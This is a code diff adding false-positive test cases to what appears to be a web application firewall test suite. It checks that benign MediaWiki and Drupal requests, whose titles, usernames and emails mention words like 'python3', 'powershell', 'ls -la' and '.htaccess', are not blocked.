if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
} }
} }
@@ -355,6 +405,7 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
{mediawikiEdit, "wpSummary=python3"}, {mediawikiEdit, "wpSummary=python3"},
{mediawikiSignIn, "wpPassword=python3"}, {mediawikiSignIn, "wpPassword=python3"},
{mediawikiProtect, "mwProtect-reason=.htaccess"}, {mediawikiProtect, "mwProtect-reason=.htaccess"},
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
{mediawikiAPI + "?action=edit", "text=python3"}, {mediawikiAPI + "?action=edit", "text=python3"},
} { } {
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}} r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
+5
View File
@@ -412,6 +412,11 @@
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"powershell\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \"ls -la\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"} {"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"name\": \".htaccess\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"example@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"python3@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"powershell@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"ls-la@example.com\"}"}
{"method": "POST", "target": "/user/password?_format=json", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Content-Type: application/json"], "body": "{\"mail\": \"htaccess@example.com\"}"}
{"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""} {"method": "POST", "target": "/user/logout?_format=json&token=6g2zVXyWnyiVNy0zy76IqHwJfb_Q7fY4m1cpnZyh0LY", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"} {"method": "PATCH", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json", "Content-Type: application/vnd.api+json", "X-Csrf-Token: fK1nVGRmImLpZRnGKVLo_fRY4zvgCTRWbMAXJ0023ho"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"77b584a4-587e-4273-90b7-2677a1502feb\", \"attributes\": {\"title\": \"Edited about docker-compose.yml\", \"body\": {\"value\": \"<p>SELECT rows FROM table, then ls -la.</p>\", \"format\": \"basic_html\"}}}}"}
{"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""} {"method": "GET", "target": "/jsonapi/node/article/77b584a4-587e-4273-90b7-2677a1502feb?include=uid", "headers": ["Host: example.com", "User-Agent: ExampleClient/1.0", "Cookie: SESSexample=example-session-value", "Accept: application/vnd.api+json"], "body": ""}
+35
View File
@@ -565,3 +565,38 @@
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 168", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=44%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Powershell&remove=bot&reason=Spamming+links+to+powershell+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"} {"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 168", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=44%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Powershell&remove=bot&reason=Spamming+links+to+powershell+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=46%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Ls+-la&remove=bot&reason=Spamming+links+to+ls+-la+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"} {"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 160", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=46%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=Ls+-la&remove=bot&reason=Spamming+links+to+ls+-la+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=48%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=.htaccess&remove=bot&reason=Spamming+links+to+.htaccess+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"} {"method": "POST", "target": "/api.php", "headers": ["Accept-Encoding: identity", "Content-Type: application/x-www-form-urlencoded", "Content-Length: 166", "Host: example.com", "Cookie: my_wiki_session=m81dum3t2ci3he3fjg5tkfgj911ctlp3; my_wikiUserID=2; my_wikiUserName=Admin; my_wikiToken=c0d07e56f3976e1b306e8e170b49ca1d; cpPosIndex=48%401794260989%23f7b703a636be438830ee10e4c97c1d5d; UseDC=master", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": "action=userrights&user=.htaccess&remove=bot&reason=Spamming+links+to+.htaccess+guides&token=a209a591aff00f53811a181c99a9bd776af23ffc%2B%5C&format=json&formatversion=2"}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Lighthouse+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+Lighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2FLighthouse&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Python3+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+python3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpython3&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Powershell+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+powershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fpowershell&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=Ls+-la+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+ls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2Fls+-la&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&list=logevents&letitle=.htaccess+notes&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapprefix=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allpages&gapto=.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaifrom=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=allimages&gaiprefix=Pic+.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&generator=exturlusage&geuquery=example.com%2F.htaccess&format=json&formatversion=2", "headers": ["Accept-Encoding: identity", "Host: example.com", "User-Agent: ExampleBot/1.0 (https://example.com/bot; bot@example.com)", "Accept: application/json"], "body": ""}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 142", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALighthouse+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes&wpEditToken=c2464b164b92dc191a5755c27e88643d6af26938%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 161", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794271545%23fad50a8505bea134cc843d03608984cc; UseDC=master"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes%0D%0APowershell+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 179", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0ALs+-la+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 200", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALs+-la+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0A.htaccess+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}